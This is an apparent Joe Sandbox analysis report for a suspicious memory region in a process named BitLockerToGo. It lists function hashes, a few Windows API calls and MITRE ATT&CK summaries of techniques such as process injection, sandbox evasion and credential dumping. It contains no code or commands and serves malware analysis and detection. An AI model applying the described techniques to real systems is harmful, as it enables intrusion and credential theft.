Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ac27487cc0ea3c12040a31c984e2b93c5c38833f0a35048b66eb582b522936b
Instruction ID: 2050423adfd98398ee170f7ae8527759f66aae9914b83f2746fb4cb3bc537558
Opcode Fuzzy Hash: 2ac27487cc0ea3c12040a31c984e2b93c5c38833f0a35048b66eb582b522936b
Instruction Fuzzy Hash: 0541E632B081E55BCB54CA2DCC5027EBAD39FC5248F0DC579E9C9DB346E634D9058394

Uniqueness

Uniqueness Score: -1.00%

Function 02D04C00 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34ef6e0f8d330fa4c0ec089e630d8d34eb7f5f3652cff57bc7ba23ec18586f22
Instruction ID: 98d6b85662e0ee28b606b1c8993bc2c92a9eb302aa80ae3b8a71c0193e7c0d55
Opcode Fuzzy Hash: 34ef6e0f8d330fa4c0ec089e630d8d34eb7f5f3652cff57bc7ba23ec18586f22
Instruction Fuzzy Hash: B24144B29083489BC3219F64D8C0F6AB7E8EF91318F094668DA99473F1EB71DC04C766

Uniqueness

Uniqueness Score: -1.00%

Function 02D292A1 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17377993f71e6f997b53e88de92afc6f6eeeaf260b2207b93afa2b362584b83e
Instruction ID: 26ffcb2ef17ce2c05457ee12a690f9106b46be239298e83b07c75a7dc26d7ef5
Opcode Fuzzy Hash: 17377993f71e6f997b53e88de92afc6f6eeeaf260b2207b93afa2b362584b83e
Instruction Fuzzy Hash: 2751B3716457518FD3258F14C8647A2BBF1FF56318F288A49C4868BB46C375EC4ACF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CFFDE0 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b92bc6a654ff9593cf297245cbeaefa403bf4a866405172bcd759a0e32a0d79a
Instruction ID: 26ec7ac87949afe617af262c64830175abe62218d5391f13d4776a8f1f2a083f
Opcode Fuzzy Hash: b92bc6a654ff9593cf297245cbeaefa403bf4a866405172bcd759a0e32a0d79a
Instruction Fuzzy Hash: D5411476B182900FD398CE3A889012ABBD2DBC5610F19CA3DF1E5C76D5E675CA06D750

Uniqueness

Uniqueness Score: -1.00%

Function 02D026D2 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c9ebdbcda792749b099868cea295613f4690d1edf6c99fb1c4c012f8572c4c
Instruction ID: 4e1da591b2e3f829352afba6c67229b86c6cd4ef75ea69b2a2c8cea468c22f1f
Opcode Fuzzy Hash: 02c9ebdbcda792749b099868cea295613f4690d1edf6c99fb1c4c012f8572c4c
Instruction Fuzzy Hash: 9C317CB5A057018FC729CF28C8C8762B7E6BF89314F189A6DC966877A1D7B0F845CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02CF3390 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ec1d17770a5ebc5e53d9b9656e1c0de43441dff1b71a98f6682320371d5a91
Instruction ID: fb370526871847c77a384ffecd433675507d2833fc7a76fc08c0ae5ee20cadd7
Opcode Fuzzy Hash: 23ec1d17770a5ebc5e53d9b9656e1c0de43441dff1b71a98f6682320371d5a91
Instruction Fuzzy Hash: A721D331B581F10BDBE1CB39D8C056BBFA2DBC611671F45BADBC0E7742D225E81A8660

Uniqueness

Uniqueness Score: -1.00%

Function 02CF2610 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef52320defdfa9c64950d63ffd7b5db08fa6e77bcd588ee95977c7bc57c46d18
Instruction ID: f850bdc043a4895856e81964194ee6009052f63a482916f30d42b113c5ab13a8
Opcode Fuzzy Hash: ef52320defdfa9c64950d63ffd7b5db08fa6e77bcd588ee95977c7bc57c46d18
Instruction Fuzzy Hash: CF31D7306042009BD7D49E59D880A2AB7E1EFC8318F188A2DEE99CB351D731DD52CB43

Uniqueness

Uniqueness Score: -1.00%

Function 02D047A1 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f8223deb48fea389cebd021700c72e6d5511d0402b6d233a3c72cbef3fdc7a
Instruction ID: 1c848162958835a66883a8278108be56ba4bf9f778be316a2115f5c031c1a5b5
Opcode Fuzzy Hash: 54f8223deb48fea389cebd021700c72e6d5511d0402b6d233a3c72cbef3fdc7a
Instruction Fuzzy Hash: CF21F774611B808BD768DF20C8A4BA7B7E3BB95309F144A1CC1971BB95CB71AC05DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02D27110 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae944415d58a384639d7390dd97809520c04d53dc4f7b6fabeeca3d8eefe077e
Instruction ID: 0dfd0c16559157dc5e8318d7583528cf2d059963cf083096a71dc4ce71368272
Opcode Fuzzy Hash: ae944415d58a384639d7390dd97809520c04d53dc4f7b6fabeeca3d8eefe077e
Instruction Fuzzy Hash: E5217C716083019BE728CF04C4A4B2BF7A2EFD5318F148A1DE4A51B385D7719909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D03B97 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e69b1337a512901fb2de6fa3c63d8847493ecbf0b3a002a032e7542a6e4b0408
Instruction ID: 95383aeca16ced08b2d3a3d020558a10f9d3bed6f32fa242cdbb3e170d84f76b
Opcode Fuzzy Hash: e69b1337a512901fb2de6fa3c63d8847493ecbf0b3a002a032e7542a6e4b0408
Instruction Fuzzy Hash: C221CF35650B418BD7248F24C884B26B3E2BB8A308F148A5CD4C397BE5D7B1FC45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02D2934E Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8045efd261281c00f39e9d5ee114e5334e356ce2d48108e54f0cb9a50e258745
Instruction ID: 39b2cb04e8d0862afb707ba13dfb42e8118c9514c675628822be469a95cbbd47
Opcode Fuzzy Hash: 8045efd261281c00f39e9d5ee114e5334e356ce2d48108e54f0cb9a50e258745
Instruction Fuzzy Hash: A811E1396097928BC728CF39C9615B2B7F3BF96208318685EC4D2C7781DB78E816C714

Uniqueness

Uniqueness Score: -1.00%

Function 02D230D0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: ddfaf1400e6cc68a35574a80ffcbe3b08c68ae76c10034dd8e126806ed87d590
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 53118633A091F40EC3568D3C88006A5BFE30AA3539B5953D9F4F89B3D6D6268D8EC365

Uniqueness

Uniqueness Score: -1.00%

Function 02D13880 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b669a96d2502376addc037353a48b29e2af4a1f0f83d9d46ae6f1014e29c7578
Instruction ID: 025c802d690f41901ec134f26b7efce1e1f4cd62411df8e7fa6ff0bccd86b33a
Opcode Fuzzy Hash: b669a96d2502376addc037353a48b29e2af4a1f0f83d9d46ae6f1014e29c7578
Instruction Fuzzy Hash: 5E0171F5B0030167DBE0AF54A8D0727F2A9AF81708F18457CD90957701DB76EC06DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D01114 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64793ac68d746bc0c342c885a144eb4b5e6dccb9de26e80ce5b6d12766413e6b
Instruction ID: 880c9f9b3d514c25384fd0aff96b2a72aa9dd9810113218e71a90000327f6393
Opcode Fuzzy Hash: 64793ac68d746bc0c342c885a144eb4b5e6dccb9de26e80ce5b6d12766413e6b
Instruction Fuzzy Hash: C91121715097814FD326CF24C498767BFF2AF86304F19899EC4D68B692C775E80ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 02D117EE Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4b88fc11bb6d2380729816ced2cd4e417297d3d1b1b98f97eeaec5da9395532
Instruction ID: 9bc2c8da0d8fa0d6fc79156a0ebc8ac84b98d19a9bc0bc7aef7b27f564740199
Opcode Fuzzy Hash: e4b88fc11bb6d2380729816ced2cd4e417297d3d1b1b98f97eeaec5da9395532
Instruction Fuzzy Hash: 011125B0601602DBD318CF28E5A4B17FBF2BF0A704F04895CC49A8BB92C775E855CB84

Uniqueness

Uniqueness Score: -1.00%

Function 02D2A6E8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d0e802915a5efea327527d4a6decd6b8dd4bd247acaf2e52eea6b8972f1cff8
Instruction ID: 02f20d5d4e9089a679f11182df01da168cf4757e50f3b384eb932bd879091972
Opcode Fuzzy Hash: 3d0e802915a5efea327527d4a6decd6b8dd4bd247acaf2e52eea6b8972f1cff8
Instruction Fuzzy Hash: 68F0D475E451058FC708CF18D080864FBB5FB593147119559D959AB322C730EC60CF44

Uniqueness

Uniqueness Score: -1.00%

Function 02D2A720 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79127fe556a9658405add75cbb008b61965c50460a1e8f74fae70ebd445fb217
Instruction ID: 933e5a54afd33433236d51f1e958ac7d55fa9f0f2f48ebf16da3664388a203cd
Opcode Fuzzy Hash: 79127fe556a9658405add75cbb008b61965c50460a1e8f74fae70ebd445fb217
Instruction Fuzzy Hash: 0DE0EC3AE440048BCB04CF58E0C08B8B3F4EB0E314B142419E965F7351CA34BDA1CF14

Uniqueness

Uniqueness Score: -1.00%

Function 02D068F0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde5f97e0ab0fd8ab4c8d39117576fc177f609512b4090b6a92a82144f4705b
Instruction ID: 4e16c07390c266d3fd76c855bc79c5f8d1582e6d42c1c01a4243cc17fa4d6a81
Opcode Fuzzy Hash: 7fde5f97e0ab0fd8ab4c8d39117576fc177f609512b4090b6a92a82144f4705b
Instruction Fuzzy Hash: 89D0173AB846808BC264DE18D5A29B6B372BB8A204B08AA58C5D2D7705C234E8158A94

Uniqueness

Uniqueness Score: -1.00%

Function 02D068DD Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d22671c29ecb38c2daf020fda9dc691e2951c940a4d9c163092ace2511f93e50
Instruction ID: 4cf4a9bf7bb87c5e02a8c71a5be451d3bdffb49d20e37679c9e0197a0fc21510
Opcode Fuzzy Hash: d22671c29ecb38c2daf020fda9dc691e2951c940a4d9c163092ace2511f93e50
Instruction Fuzzy Hash: C6C01279A442408BC7489D44D0D1774E3757746219F04282CC492D7740C360E8148544

Uniqueness

Uniqueness Score: -1.00%

Function 02D121A3 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff427d52342fc83deeabae6ae22dd88f7b6748f665d9b2e96050f375aa7a095a
Instruction ID: b573a671cae6ba2743a474262b9d754efe6235a8c14a8575f6327f8c8f630fe0
Opcode Fuzzy Hash: ff427d52342fc83deeabae6ae22dd88f7b6748f665d9b2e96050f375aa7a095a
Instruction Fuzzy Hash: BCC08C39E89150CBC305CF10E4C06B0B7789B0B204704B88A8D82DB383C220DC10CF6C

Uniqueness

Uniqueness Score: -1.00%

Function 02D1515A Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6afbb55a63cd3ee9b91bad49b70267d0dade7723843a67ab3d2061145c20739b
Instruction ID: 7725ec7068dac90ffc3e852eda66421253c40f4a95b9e736643c1080287771bb
Opcode Fuzzy Hash: 6afbb55a63cd3ee9b91bad49b70267d0dade7723843a67ab3d2061145c20739b
Instruction Fuzzy Hash: FCC012B4D840405FC9C59F00E852571B3699F86204F0024249656D7382C520D8219D49

Uniqueness

Uniqueness Score: -1.00%

Function 02D11CC6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afbe48a57ed01b769d298d0e4ac6f5229f520b85563a04a59e8da78af9ba1172
Instruction ID: 3cce3776c5fc1d3edfe22c9799ef556a89a17f463e9e505fb541c3221e500ae0
Opcode Fuzzy Hash: afbe48a57ed01b769d298d0e4ac6f5229f520b85563a04a59e8da78af9ba1172
Instruction Fuzzy Hash: 0BC09235EC8180D79648CF08F992671A3BCE347208B287828C503F3381C531EC208A5C

Uniqueness

Uniqueness Score: -1.00%

Function 02D133B9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0804ebee0e51b8c3b23c74d804bf2a3fe1bffd617a2b89dc054ba30ec5335200
Instruction ID: fb61c0410cfb3d8463095d55450059a28fef35bc744a1f1da0f2b72de9800bbc
Opcode Fuzzy Hash: 0804ebee0e51b8c3b23c74d804bf2a3fe1bffd617a2b89dc054ba30ec5335200
Instruction Fuzzy Hash: 4DB09234E8914097820CDE04E491430B33DA317309B00382D8802E3351C762D8258A5C

Uniqueness

Uniqueness Score: -1.00%

Function 02D1ED64 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 02D1EDEA
GetSystemMetrics.USER32 ref: 02D1EDFB
DeleteObject.GDI32 ref: 02D1EE5A
SelectObject.GDI32 ref: 02D1EEAB
SelectObject.GDI32 ref: 02D1EF4B
DeleteObject.GDI32 ref: 02D1EF85

Strings

, xrefs: 02D1EF1E

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: a197608d4fbf7660cbfadaae08c1bdb54ba56ece16ad3805cc476b29942c2234
Instruction ID: 1883c09d2bed33dc2d4f48f0666a446c97ebc523cb20e1c551f2abae398c1913
Opcode Fuzzy Hash: a197608d4fbf7660cbfadaae08c1bdb54ba56ece16ad3805cc476b29942c2234
Instruction Fuzzy Hash: FE917CB4A04B009FC350EF29D595A1ABBF4FF49310F11892DE99ACB750E731A858CF92

Uniqueness

Uniqueness Score: -1.00%

Function 02D123F4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,FB6EFD5D,0000001E,00000000,00000000,?), ref: 02D12521
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 02D12580

Strings

HH, xrefs: 02D12473
i,C, xrefs: 02D125A7

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: HH$i,C
API String ID: 237503144-2709025082
Opcode ID: 93f2436a229be94cbcc6f8f4f63e21ac8510dd7a0a02744058bb26b5a4b80c80
Instruction ID: d8e09e775828225027c22c22b1ae1e6256a4557896166b2e8278abe4732cf435
Opcode Fuzzy Hash: 93f2436a229be94cbcc6f8f4f63e21ac8510dd7a0a02744058bb26b5a4b80c80
Instruction Fuzzy Hash: F84178B02403049FDB68CF24D8D5B527BB6FB89304F545A5CEA9A8F786C771E812CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D13920 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 02D13A19
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 02D13A4C

Strings

Q9{;, xrefs: 02D139A8
A)(+, xrefs: 02D1394F

Memory Dump Source

Source File: 00000005.00000002.2531747935.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2cf0000_BitLockerToGo.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: A)(+$Q9{;
API String ID: 237503144-1231720092
Opcode ID: be01926c66cd842982e8aa2f079d718e0736efcd3d9324ff701e9747f62645b0
Instruction ID: a31f39cdbe728e8ecc0809efa4f5d05146df6efab3eb87bd2271fc1cbe337466
Opcode Fuzzy Hash: be01926c66cd842982e8aa2f079d718e0736efcd3d9324ff701e9747f62645b0
Instruction Fuzzy Hash: 213158716083919BD328CF15C8A4B5BBBE6FBC5748F104A2CF9965B381D77099098BD2

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
